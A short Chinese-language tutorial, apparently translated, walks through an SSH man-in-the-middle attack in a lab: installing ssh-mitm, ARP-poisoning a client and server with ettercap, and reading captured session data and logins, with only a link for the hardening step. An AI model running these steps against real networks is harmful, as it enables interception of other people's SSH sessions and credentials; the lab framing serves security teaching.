安全

如何对 SSH 协议实施中间人攻击(MITM)

在 Kali-Linux 上用 SSH-MITM 和 ettercap 演示针对 SSH 的中间人攻击:安装工具、进行 ARP 投毒、截获传输信息,并指向 openSSH 的安全加固。

· 2 分钟阅读 · 难度 高级

你好,

了解中间人攻击是如何实施的,对于衡量为 SSH 服务采取安全加固对策的重要性来说,是至关重要的。

我建议先在以下环境上开始动手:

  • 一台 Kali-Linux 服务器 -> 攻击者
  • 一台 Linux 上的 SSH 服务器 -> 目标 1
  • 一台 Windows 或 Linux 上的 SSH 客户端 -> 目标 2

第 1 步:获取并安装 SSH-MITM

首先要更新我们 Kali-Linux 的软件包列表:

apt update

接着需要从 GitHub 获取 SSH-MITM 软件:

git clone https://github.com/jtesta/ssh-mitm

需要完成若干步骤:进入安装目录,设置

US-utf8 语言格式,然后运行安装脚本:

cd ssh-mitm
export LANG=en_US.utf-8
sudo ./install.sh

命令“export LANG=en_US.utf-8”通过一个环境变量导出安装该工具时所使用的默认语言(英语,UTF-8 编码)。如果没有这一导出,会出现一条错误消息,导致无法安装。

./ 用于运行位于 ssh-mitm 目录中的 shell 脚本 install.sh。

在此安装过程中,可能会要求你安装 AppArmor,以限制 ssh-mitm 在本机上的权限。如果出现这种情况,请接受该提示。

现在我们可以启动 ssh-mitm 服务,它将监听 2222 端口:

sudo ./start.sh

可以很方便地用以下命令查看哪些服务与开放端口相关联:

ss -ltnp

第 2 步:借助 ettercap 实施 MITM 攻击

需要把这两个 IP 地址替换为你的 Linux SSH 服务器和你的 Windows 或 Linux SSH 客户端的地址。

sudo ettercap -i eth0 -T -M arp /192.168.x.x// /192.168.x.x//
  • -T:以文本模式启动 ettercap
  • -M:表示发起一次“Man in the middle”类型的攻击
  • 192.168.x.x:SSH 服务器 / 192.168.x.x:SSH 客户端 -> 受害者的 IP 地址
Illustration 1 — Comment effectuer une attaque Man in the Middle - MITM sur le protocole SSH

我建议在我们的 Kali-Linux 上启动 Wireshark,以验证 ARP 表投毒(ARP Poisoning)的效果。

Illustration 2 — Comment effectuer une attaque Man in the Middle - MITM sur le protocole SSH

第 3 步:获取通过 SSH 传输的信息

首先需要先停止攻击,方法是按“ h ”,然后按“ q ”。

生成的文件 /home/ssh-mitm/shell_session_0.txt 包含了在中间人攻击期间,客户端与 SSH 服务器之间往来传输的全部信息。

Illustration 3 — Comment effectuer une attaque Man in the Middle - MITM sur le protocole SSH

有时也可以直接从 auth.log 文件中找到所使用的登录名,该文件包含 Kali-Linux 的身份验证日志。

你可以像这样查看它:

cat /var/log/auth.log

第 4 步:加固 openSSH 服务的安全

请前往以下文章:如何用 SSH 加密密钥加固 openSSH 服务的安全